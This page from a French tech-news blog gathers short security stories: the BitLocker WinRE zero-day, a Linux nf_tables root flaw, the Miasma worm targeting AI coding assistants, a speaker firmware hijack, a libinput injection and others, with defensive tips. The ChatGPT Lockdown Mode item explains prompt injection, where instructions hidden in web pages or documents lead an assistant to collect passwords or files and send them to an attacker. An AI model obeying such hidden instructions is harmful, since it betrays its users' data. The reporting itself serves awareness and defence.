Donc on fait comme d'hab, on régénère tous ses secrets, nouvelles clés SSH, révocation et régénération des tokens GitHub, npm, Docker et Vault, changement des mots de passe stockés dans le navigateur et compagnie... Et pour la suite, comme d'hab, faites attention à ce que vous installez et prenez l'habitude de lire les PKGBUILD avant de valider, parce qu'un script post-install qui fait autre chose qu'un simple echo, ça doit vous faire tiquer direct.

Quoi qu'il en soit, l'AUR n'a jamais été audité, c'est même l'un des principes du truc et tout le monde le sait... mais des centaines voire plus d'un millier de paquets piégés d'un coup avec un rootkit qui vise vos accès, ça change fortement l'échelle du problème.

Bref, vérifiez vos paquets et faites tourner vos secrets aussi bien que vous faites tourner les serviettes quand c'est le jour du beaujolais au taf !

Et un grand merci à Maximilien pour le lien !

Source

BitLocker, je le rappelle c'est quand même le truc censé protéger vos données en cas de vol de votre bécane. Sauf que voilà, la théorie et Redmond, ça fait parfois deux... Le chercheur en sécurité Chaotic Eclipse (déjà à l'origine de BlueHammer ) vient de balancer une nouvelle vulnérabilité zero-day baptisée GreatXML , qui réduit cette promesse en miettes.

Le truc tourne autour de la façon dont Windows Recovery Environment (WinRE) traite les fichiers de configuration lors du démarrage. Plus précisément, la faille exploite des résidus laissés par l'outil d'analyse hors ligne de Microsoft Defender.

Cela signifie que si vous avez déjà lancé un scan Defender Offline, votre machine conserve des artefacts sur la partition de récupération. C'est là que le piège se referme car en manipulant des fichiers XML de configuration (notamment unattend.xml) sur la partition de récupération, un attaquant peut forcer le système à ouvrir un terminal avec les privilèges SYSTEM lors du passage en mode WinRE. Le tout sans avoir besoin de se connecter à la session, bien sûr...

Le résultat ?

Un accès complet et sans restriction au volume protégé par BitLocker. Pas besoin de fer à souder ou de bidouiller la carte mère avec un Raspberry Pi comme pour d'autres exploits TPM, là c'est une simple faiblesse logique logicielle qui permet de tout déverrouiller.

Alors oui, l'attaque nécessite un accès physique à la machine (ou un autre accès permettant de modifier la partition de récupération). Mais comme le rôle même de BitLocker est de protéger un appareil volé physiquement, c'est une sacrée épine dans le pied des administrateurs système ! D'autant plus qu'aucun correctif officiel n'a encore été publié par Microsoft.

Cette divulgation publique intervient dans un contexte tendu puisque Chaotic Eclipse multiplie les dumps de zero-days Windows suite à un différend avec le programme de bug bounty MSRC de Microsoft. On a déjà eu le droit à YellowKey et RoguePlanet ces dernières semaines et y'a peu de chances que ça s'arrête.

Bref, c'est la guerre ouverte !

Maintenant, même s'il n'y a pas encore de recommandations officielles de Microsoft pour cette faille spécifique, quelques mesures de bon sens permettent de limiter la casse. D'abord, configurer un mot de passe UEFI pour bloquer le boot externe. Ensuite, activer le mode TPM + PIN pour BitLocker car sans ce code pré-boot, la clé de déchiffrement n'est pas libérée, même si l'attaquant arrive à faire pop son shell.

Et si vous voulez couper court à toute exploitation de ce type, il reste l'option de désactiver complètement WinRE via la commande reagentc /disable.

Bref, en attendant que Microsoft sorte un patch, vous savez ce qu'il vous reste à faire.

Source

Voilà autre chose dites donc. En avril, Anthropic, le concurrent direct d'OpenAI et créateur de l'assistant Claude, dévoilait Mythos, un modèle d'intelligence artificielle tellement doué pour dénicher et exploiter des failles informatiques que l'entreprise avait préféré ne pas le diffuser. Il restait réservé à une poignée d'organisations de cyberdéfense triées sur le volet.

Deux mois plus tard, ce même moteur arrive chez le grand public sous le nom de Claude Fable 5.

C'est exactement le modèle de Mythos en dessous, avec des limites posées par-dessus. Anthropic ne s'en cache pas : Fable 5 dépasse tout ce qu'elle a publié jusqu'ici, son propre Claude Opus 4.8 compris, et ses tests internes le placent devant le GPT-5.5 d'OpenAI comme devant le Gemini 3.1 Pro de Google. Le modèle parvient même à terminer Pokémon FireRed en se contentant de regarder l'écran défiler.

Pour éviter les dérapages, trois classifieurs, des programmes qui surveillent en continu ce que vous tapez, passent chaque conversation au crible. Dès qu'une requête touche à la cybersécurité offensive, à la biologie ou à la chimie sensibles, la réponse est refilée à Claude Opus 4.8, nettement moins à l'aise sur ces terrains piégeux.

Anthropic assure que ce garde-fou se déclenche sur moins de 5% des sessions, et qu'un programme de chasse aux failles de plus de 1 000 heures n'a débouché sur aucun contournement universel.

Il y a quand même une contrepartie qui pique. Toutes les conversations avec Fable 5 sont conservées 30 jours, y compris pour les entreprises qui avaient pourtant signé des accords de rétention zéro, autrement dit la garantie écrite qu'aucune de leurs données ne serait gardée. Officiellement, c'est pour repérer les attaques inédites.

Côté porte-monnaie, le modèle est gratuit pour les abonnés Pro, Max, Team et Enterprise jusqu'au 22 juin, après quoi il faudra des crédits d'utilisation. Pour les développeurs qui le branchent à leurs applications, comptez 10 dollars par million de mots traités en entrée et 50 dollars en sortie, soit le double du tarif d'Opus 4.8.

Quelques jours avant cette sortie, Anthropic réclamait publiquement une "pédale de frein coordonnée" sur les modèles les plus avancés, en agitant le risque d'une IA capable de se perfectionner toute seule.

Bref, on prêche la prudence le lundi et on ouvre les vannes le jeudi. La logique commerciale a visiblement gagné l'arbitrage.

Source : Anthropic

GitHub a désactivé 73 dépôts appartenant à Microsoft en l'espace de 105 secondes, le temps de couper la propagation d'un ver baptisé Miasma.

Un ver, vous le savez, c'est ce genre de logiciel malveillant qui se recopie tout seul d'un projet à l'autre, sans la moindre intervention humaine. Celui-là s'attaque directement aux développeurs, et plus précisément à leurs outils.

Tout est parti du dépôt Azure/durabletask. Un compte de contributeur compromis y a poussé un commit piégé, qui déposait au passage quelques fichiers de configuration. Anodin, en apparence.

Sauf que ces fichiers déclenchaient une exécution de code à distance, autrement dit l'attaquant faisait tourner son propre code sur votre machine, dès l'instant où vous ouvriez le dépôt dans un éditeur. Et pas n'importe lesquels : les assistants de codage dopés à l'IA étaient explicitement visés, Claude Code, Gemini CLI et Cursor en tête. Objectif, siphonner les secrets d'accès au cloud et les configurations des outils de développement, surtout sous Linux.

La purge a frappé quatre organisations GitHub de Microsoft d'un coup : toute l'org Azure Functions, l'ensemble de la famille Durable Task, et une série d'applications-exemples destinées à l'IA.

Problème, parmi les dépôts désactivés se trouvait Azure/functions-action, une brique que des milliers de projets appellent dans leurs chaînes d'automatisation, celles qui compilent et déploient le code sans intervention manuelle. Du coup, dès que functions-action@v1 a cessé de répondre, des pipelines entiers se sont effondrés en cascade, bien au-delà des serveurs de Microsoft.

Ce n'est pas la première sortie de Miasma. Le 19 mai, le ver visait déjà le paquet durabletask sur PyPI, le dépôt public où les développeurs Python piochent leurs briques de code : trois versions vérolées y ont été publiées en 35 minutes. Le 3 juin, c'est plus de 50 paquets npm, l'équivalent côté JavaScript, qui passaient à la moulinette.

Le retour sur durabletask interroge. Pour Ashish Kurmi, directeur technique de la société de sécurité StepSecurity, les jetons d'accès du compte développeur déjà compromis lors de l'attaque sur PyPI n'avaient visiblement pas tous été révoqués. La même porte est restée grande ouverte.

Côté filiation, l'éditeur de sécurité Snyk décrit Miasma comme un descendant de Mini Shai Hulud, un ver revendiqué par le groupe cybercriminel TeamPCP, qui a ensuite gentiment publié son code en open source. Microsoft, de son côté, n'a pas répondu aux sollicitations de la presse.

Bref, un seul commit, et c'est tout un pan de l'infrastructure des développeurs qui tremble.

Source : The Register

Oliver Sieber, un chercheur de chez Exodus Intelligence, vient de publier l'exploit complet d'une faille qui tient dans un seul caractère. C'est la CVE-2026-23111, planquée dans nf_tables, c'est à dire au bout du noyau Linux qui filtre les paquets réseau. Un bug discret donc, qui transforme un compte tout pourri, sans le moindre privilège, en compte root sur la machine... et qui vous fait sortir d'un conteneur au passage.

Le scénario, vous le connaissez si vous traînez ici depuis un moment. Un utilisateur qui dispose d'un compte sans droit particulier sur une machine Linux (y compris parce qu'il a exploité une autre faille avant, dans une appli web par exemple) lance l'exploit, et se retrouve avec les pleins pouvoirs. Pas de vecteur distant, rien à cliquer : c'est l'arme qu'on dégaine une fois le pied dans la porte. Que ce soit un shell avec des droits limités, un conteneur compromis, un compte de service... tout y passe et hop, root sur l'hôte !

Le bug lui-même, c'est ce qu'on appelle un use-after-free, c'est à dire que le noyau réutilise un bout de mémoire qu'il a déjà libéré, et forcément ça part en vrille. Exodus a titré son analyse complète "Off By !", un clin d'œil au classique off-by-one des développeurs, sauf qu'ici le coupable c'est un test inversé. Un caractère de trop, une condition qui dit l'inverse de ce qu'elle devrait, et voilà. Et le correctif, lui, tient en une seule ligne.

Le fameux caractère : le ! qui inversait le test dans nft_map_catchall_activate(). Le correctif le retire, et c'est tout (commit 8fdb05de).

La faille a d'ailleurs été reproduite deux fois, par deux équipes qui ne se sont pas concertées. Exodus l'a validé sur Debian Bookworm, Debian Trixie, Ubuntu 22.04 et 24.04. FuzzingLabs avait sorti sa propre version dès avril, par un chemin complètement différent, et l'avait fait tourner sur RHEL 10 juste avant le Pwn2Own de Berlin. Bref, ça marche, c'est bien documenté, et c'est public.

Mais le pire, c'est le calendrier de tout ce merdier puisque le patch a été mis à dispo le 5 février. Ensuite, y'a eu l'exploit de FuzzingLabs publié le 16 avril, suivi d'un write-up détaillé d'Exodus le 8 juin. Autrement dit, ça fait des mois que le correctif existe et des semaines que le code d'exploitation traîne dans la nature.

La seule chose qui vous sépare donc d'un compte root offert à n'importe qui, c'est d'avoir mis à jour ou pas.

Et cette faille s'ajoute à une sacrée série de failles root-local sur Linux ce printemps. Y'a eu Copy Fail , y'a eu Dirty Frag et sa variante Fragnesia ... à chaque fois le même refrain, un compte sans droit qui finit root sur une install standard. C'est devenu presque routinier, et Synacktiv pointe une raison plutôt pertinente en nous expliquant que c'est à cause (ou grâce ^^) aux outils d'IA qui décortiquent les patchs pour en sortir un exploit rapidos, qui marche direct avant même que la correction soit déployée partout.

Du coup, qu'est-ce que vous devez faire ?

Hé bien le plus simple d'abord, c'est de mettre à jour le noyau et vous rebootez. Ubuntu a corrigé 22.04, 24.04 et 25.10, Debian a patché Bookworm et Trixie (avec un backport en 6.1 pour Bullseye), et Red Hat, SUSE et Amazon Linux ont suivi. Comme la version corrigée exacte dépend de votre distrib, jetez donc un œil à l'advisory qui correspond à la vôtre.

Si vous gérez une machine où tournent des utilisateurs ou des workloads pas franchement de confiance, vous pouvez également couper le chemin d'attaque sans attendre le patch. La faille a besoin des user namespaces non privilégiés, un mécanisme qui laisse un process lambda se bricoler son propre bac à sable avec des droits root à l'intérieur.

Et nf_tables comme ces namespaces, sur la plupart des desktops et pas mal de serveurs, c'est actif par défaut, donc oui, sans le patch vous êtes probablement exposé.

Pour les désactiver, le plus universel c'est user.max_user_namespaces=0 : un sysctl -w user.max_user_namespaces=0 pour tout de suite, et la même ligne dans un fichier genre /etc/sysctl.d/99-userns.conf pour que ça tienne au reboot.

Ça marche sur toutes les distros mais c'est radical, ça coupe tous les user namespaces, même ceux de root. Sur Debian et les vieilles Ubuntu, t'as plus fin avec kernel.unprivileged_userns_clone=0 qui ne vise que les non-privilégiés. Et sur Ubuntu 24.04, bonne nouvelle, c'est déjà restreint par défaut via AppArmor. Attention quand même, ça peut casser des trucs qui s'appuient dessus, genre le bac à sable de Chrome ou Flatpak.

À faire en connaissance de cause, donc.

La parade en vrai : une fois les user namespaces non privilégiés coupés, un compte lambda qui tente d'en créer un (le prérequis de l'exploit) se fait jeter sur un "No space left on device".

Après la bonne nouvelle, c'est que d'après les chercheurs, aucune exploitation dans la nature pour cette faille précise n'a été constaté à ce jour. Après comme sa cousine Copy Fail, elle, a déjà atterri au catalogue des failles activement exploitées de la CISA, ne traînez pas trop. Bref, comme d'hab padpanik, vous mettez à jour, vous rebootez, et on n'en parle plus.

Source

ChatGPT a gagné un réglage qui ne plaira pas à tout le monde. Un "mode confinement", Lockdown Mode dans le texte, qui débranche volontairement une partie des fonctions de l'assistant pour réduire le risque de fuite de données vers l'extérieur.

L'ennemi, ici, porte un nom : l'injection de prompt. Le principe de cette attaque est plutôt vicieux, puisqu'un pirate planque des instructions dans une page web ou dans un document anodin, et qu'au moment où ChatGPT lit ce contenu pour vous répondre, il avale ces ordres cachés et les exécute sans que rien ne s'affiche à l'écran.

Ce qui inquiète OpenAI, c'est la suite. Une consigne dissimulée peut très bien ordonner à l'assistant d'aller récupérer vos informations sensibles, mots de passe ou documents personnels, avant de les renvoyer en douce vers un serveur que l'attaquant contrôle. On appelle ça l'exfiltration de données. C'est tout le scénario que le mode confinement cherche à rendre impossible, en bouclant les sorties plutôt qu'en filtrant les entrées.

Concrètement, il débranche à peu près tout ce qui relie ChatGPT au reste du web. La navigation en direct ? Coupée. Elle est ramenée au contenu déjà enregistré dans les serveurs d'OpenAI, ce qui fait qu'aucune requête ne file vers internet pendant que vous discutez.

Le ménage continue. Plus de récupération d'images depuis le web, plus de téléchargement de fichiers, plus de Deep Research, cet outil qui part compiler automatiquement des dizaines de sources, et plus d'Agent Mode, ce système qui laisse ChatGPT cliquer et agir tout seul sur des sites à votre place comme s'il était assis derrière votre clavier.

Vos propres fichiers, eux, passent toujours. Vous gardez la possibilité de téléverser images et documents à la main, et OpenAI précise que le mode ne touche ni à la mémoire de ChatGPT, ni au partage de conversations, ni à la façon dont vos échanges peuvent servir à entraîner les modèles maison.

L'activation est simple. Direction les réglages, rubrique sécurité, puis sécurité avancée, et vous basculez un interrupteur. C'est ouvert à tous les comptes personnels, y compris la version gratuite, ainsi qu'aux comptes ChatGPT Business en libre-service.

Sauf que voilà, OpenAI le précise clairement : ce mode n'est pas fait pour tout le monde. Il vise les gens et les boîtes qui manipulent des données sensibles et qui acceptent de sacrifier une partie du confort d'usage contre des garde-fous nettement plus serrés.

Et surtout, l'entreprise reconnaît la grosse limite du truc. Le mode confinement n'empêche en rien les injections de se glisser dans le contenu que ChatGPT analyse, il se contente de verrouiller les issues par lesquelles un pirate pourrait aspirer vos données une fois qu'il a pris la main. La faille de fond, elle, est toujours là.

Reconnaître publiquement qu'on pose une barrière sans régler le problème de fond, c'est honnête. Ça montre surtout que l'injection de prompt est un casse-tête que personne n'a encore su désamorcer.

Source : TechCrunch

Le Catalyst SD-WAN Manager de Cisco, anciennement appelé vManage, c'est la salle de contrôle depuis laquelle une grande entreprise règle, surveille et met à jour à distance le réseau entier qui relie ses dizaines d'agences, usines ou boutiques entre elles, et c'est ce logiciel très sensible qui se retrouve aujourd'hui troué par une faille déjà exploitée dans la nature.

Le pire ? Aucun correctif.

Référencée CVE-2026-20245 et notée 7,8 sur 10 sur l'échelle CVSS, le barème qui classe la dangerosité des failles de zéro à dix, la vulnérabilité permet à un attaquant déjà titulaire d'un compte d'administrateur réseau, le profil baptisé netadmin chez Cisco, de téléverser un fichier piégé que le logiciel contrôle mal, puis d'exécuter ses propres commandes en root, c'est-à-dire avec les pleins pouvoirs sur la machine.

Et toutes les versions sont concernées.

Peu importe que la console tourne sur les serveurs de l'entreprise, dans les offres Cloud et Cloud-Pro hébergées par Cisco, ou dans la déclinaison FedRAMP réservée aux administrations américaines, le trou est exactement le même partout.

Il y a plus inquiétant, car dans plusieurs cas bien réels observés par Cisco, l'attaque ne s'est pas arrêtée à la console : elle a poussé une modification de configuration jusqu'aux routeurs et boîtiers installés dans chaque site distant, ce qui revient, quand on tient la salle de contrôle, à tenir d'un coup l'ensemble du réseau de la boîte.

Une nuance, quand même.

Il faut déjà être authentifié pour déclencher la faille, sauf que Cisco conseille du coup d'installer en priorité les correctifs sortis le 14 mai pour deux autres vulnérabilités, CVE-2026-20182 et CVE-2026-20127, dont l'enchaînement offre justement à un assaillant les fameux droits netadmin qui ouvrent ensuite la porte au reste.

En attendant un vrai patch, dont la date n'est pas connue, l'éditeur se contente de publier des indicateurs de compromission, en clair des traces à repérer dans les journaux du serveur pour savoir si on s'est déjà fait avoir.

Et ce n'est pas la première. C'est même la sixième faille SD-WAN exploitée chez Cisco depuis janvier, et le deuxième zero-day, une faille attaquée avant l'arrivée du moindre correctif, en à peine deux mois.

Bref, un accès root activement exploité sur un équipement aussi central, et toujours pas de rustine, ça commence à faire vraiment beaucoup.

Source : The Register

Un chercheur en sécurité, Taylor Hornby, a lâché Claude Opus 4.8 sur le code de Zcash et 24 heures plus tard, le modèle lui a déniché une faille bien planquée là depuis 4 ans qui avait échappé aux auditeurs !

Et ce qu'elle permet de faire pique un peu (ouille ouille ^^) ! Car je vous rappelle que Zcash, c'est la cryptomonnaie taillée pour l'anonymat, où les transactions sont chiffrées et validées par des preuves mathématiques (le fameux "zero-knowledge" dont je vous ai déjà parlé). Sauf que dans son pool de confidentialité le plus récent, baptisé Orchard, une vérification censée s'assurer que les transactions étaient légitimes... ne vérifiait en fait rien du tout ! En clair, vous pouviez fabriquer du ZEC à partir de rien.

C'était une vraie planche à billets planquée dans le code, sauf que les faux billets étaient totalement impossibles à distinguer des vrais, et que le système les estampillait comme parfaitement authentiques.

Le plus dingue dans l'histoire, c'est que toute la faille tenait dans à peine deux lignes de code. Deux pauvres lignes, perdues quelque part dans le circuit cryptographique, qui laissaient passer de fausses valeurs sans broncher. Hornby a même écrit un exploit complet qui marchait pour de vrai, dans un environnement de test, histoire de prouver que ce n'était pas juste de la théorie sur un tableau blanc. Heureusement pour vous mes petits crypto-bro, l'équipe de Zcash a colmaté en urgence le 1er juin, et le cours du ZEC a dévissé de près de 40% dans la foulée.

Maintenant, le hic est ailleurs car Orchard est un pool privé, donc personne ne peut prouver mathématiquement si quelqu'un a exploité cette faille durant ces 4 dernières années. J'sais pas si vous saisissez le niveau d'ironie du truc mais LA confidentialité, c'est-à-dire l'argument de vente numéro un de Zcash, est exactement ce qui empêche aujourd'hui de savoir si les utilisateurs et investisseurs de cette crypto se sont fait pigeonner. L'équipe estime que c'est "peu probable", mais elle le dit elle-même : "Ne vous fiez pas à notre évaluation". Je vais traduire ça en français : "On n'en sait rien, et on ne le saura jamais". Oups !

Maintenant, ça ne veut pas dire que Zcash est mort ni que vos cryptos vont s'évaporer du jour au lendemain. Le trou est bouché, et l'équipe planche déjà sur un moyen de repérer une éventuelle fausse monnaie qui aurait été créée grâce à cette faille, mais faut savoir que ce genre de bugs planqués, il y en aura toujours.

Et ce qui est compliqué, c'est qu'on peut aujourd'hui les découvrir assez facilement et rapidement avec des modèles IA grand public. Et ce qui s'est passé avec Zcash n'est même pas un cas isolé puisque ces derniers mois, une IA a débusqué huit des neuf failles trouvées dans le serveur X.Org , et une autre a sorti du placard une faille vieille de 18 ans dans nginx .

Et bien sûr, Hornby ne compte pas s'arrêter à Zcash, puisqu'il a déjà annoncé qu'il menait le même genre d'analyse sur Monero, l'autre grosse crypto anonyme. Le XMR a perdu 10% rien qu'à l'annonce, par anticipation... lol.

Maintenant, si un modèle public déniche ça en 24h, je me demande vraiment ce que les modèles les plus costauds, ceux qui restent bien au chaud en privé, ont déjà trouvé sans que personne ne le sache ?

Bref, la faille sur Zcash est colmatée mais on a une fois de plus la preuve que "audité par des experts" ne pèse plus très lourd face à une IA un peu motivée.

Source

Un chercheur en sécurité a réussi à prendre le contrôle d'un ordinateur en passant par une simple enceinte branchée en USB, à distance, et sans jamais s'approcher de la machine.

L'appareil en question est la Sound Blaster Katana V2X, une barre de son vendue autour de 280 euros par Creative Technologies, le fabricant singapourien d'accessoires audio bien connu des joueurs. Elle se branche aussi bien sur un PC, un Mac ou un Linux, en USB comme en Bluetooth. Je la connais d'ailleurs plutôt bien, puisque je l'ai testée sur Mac4ever .

Rasmus Moorats, un chercheur, est tombé sur la faille un peu par hasard. Il voulait juste écrire un petit logiciel Linux pour piloter son enceinte, et il a découvert un protocole maison de Creative qui permet d'envoyer des commandes à l'appareil, comme changer la couleur des LED ou régler l'égaliseur.

Sauf que voilà : son téléphone en Bluetooth a pu se connecter à l'enceinte, elle-même reliée à un PC en USB, sans aucune authentification et sans même avoir été appairé au préalable. Et parmi les commandes disponibles, il y en avait une intitulée "envoyer un nouveau micrologiciel à l'appareil".

Le micrologiciel, c'est le programme interne qui fait tourner l'enceinte. Normalement, un appareil refuse d'installer un programme qui n'est pas signé par son fabricant, un peu comme un coffre qui n'accepterait que la clé d'origine. Là, rien de tout ça : Moorats a pu remplacer le firmware officiel par le sien, sans la moindre vérification.

Sa première démonstration est assez simple, avec le mot "patched" affiché sur l'écran LED de l'enceinte. Puis il s'est demandé jusqu'où on pouvait pousser le bouchon.

Et la réponse fait un peu froid dans le dos. L'enceinte sait se présenter à l'ordinateur comme un périphérique d'interface humaine, la catégorie qui regroupe les claviers, les souris et les webcams. Moorats a modifié cette carte d'identité USB pour que l'enceinte se déclare aussi comme un clavier, puis lui a fait taper des touches toute seule.

En enchaînant le tout, il a pu, totalement à distance et par les airs, envoyer son firmware piégé à une enceinte qu'il n'avait jamais appairée, la faire redémarrer, puis lui faire taper une commande et l'exécuter sur le PC. Dans un vrai scénario d'attaque, ce serait l'ouverture du terminal de commandes de Windows et le collage d'une ligne malveillante.

Pire encore : un attaquant pourrait au passage désactiver la mise à jour du micrologiciel, ce qui rendrait son code impossible à effacer. Et le Bluetooth de l'enceinte reste allumé en permanence, même en veille, sans aucun moyen de le couper.

Il y a quand même une limite de taille. L'attaquant doit se trouver à portée Bluetooth de l'enceinte. On parle donc d'un voisin, d'un colocataire ou d'un bureau mitoyen, pas d'un pirate à l'autre bout du monde.

Moorats a prévenu Creative, sans réponse, puis a fait intervenir le CERT de Singapour, l'agence publique qui gère les alertes de sécurité. Le fabricant a fini par répondre que ses ingénieurs ne considèrent pas ce comportement comme une faille. Aucun correctif n'est donc prévu.

Le seul vrai garde-fou aujourd'hui, c'est un correctif publié par des bidouilleurs de la communauté. Quand un fabricant vous explique qu'un clavier fantôme piloté par le voisin n'est pas un problème, c'est quand même un peu gênant.

Source : ARS Technica

La bibliothèque libinput est passée en version 1.31.2, et pas pour ajouter des fonctions, mais pour boucher un trou de sécurité plutôt vilain. C'est elle qui gère vos périphériques d'entrée (clavier, souris, pavé tactile, manette) sur la quasi-totalité des Linux modernes, aussi bien sous Wayland que sous l'ancien serveur graphique X.Org.

Autant dire qu'elle tourne sur presque toutes les machines de bureau sous Linux, des plus grand public aux plus pointues.

Le problème permettait d'exécuter du code arbitraire avec les droits root, c'est-à-dire les pleins pouvoirs sur le système. Et tout ça en passant par un détail qu'on n'imagine pas dangereux, le nom physique d'un faux périphérique.

Sur Linux, n'importe quel logiciel peut fabriquer un périphérique virtuel via deux interfaces du noyau, uinput et uhid. Pour les regrouper, libinput s'appuie sur udev, le composant qui détecte et configure tout ce qu'on branche sur la machine.

Et c'est là que ça coince. Un attaquant pouvait créer un appareil bidon dont l'attribut PHYS, le chemin physique du matériel, contenait un simple retour à la ligne. Du coup, udev lisait cette unique valeur comme deux lignes séparées, donc deux paires clé-valeur, dont une totalement injectée par l'attaquant.

Cette ligne injectée suffisait à détourner le comportement de udev et, au bout de la chaîne, à faire tourner la commande de son choix en root. Une injection par saut de ligne. Bête, mais redoutable.

Reste une nuance importante. Fabriquer un tel périphérique demande normalement les droits root, ce qui limite déjà beaucoup le danger. Sauf que certaines règles udev personnalisées ouvrent la porte aux utilisateurs normaux.

L'exemple cité est parlant. Installer le paquet "steam-devices" sur Fedora, ce que fait n'importe quel joueur pour que ses manettes soient correctement reconnues, suffit à exposer la faille à toute personne connectée à la session. Un geste parfaitement banal, donc.

La faille a été repérée par un chercheur surnommé Csome, et Peter Hutterer, le mainteneur historique de libinput, a publié le correctif dans la 1.31.2. La marche à suivre tient en une ligne, mettre à jour dès que votre distribution pousse le paquet.

Une faille root planquée dans le nom d'une fausse manette, déclenchée par un paquet aussi anodin que celui de Steam, ça a quand même quelque chose de franchement pénible.

Source : Phoronix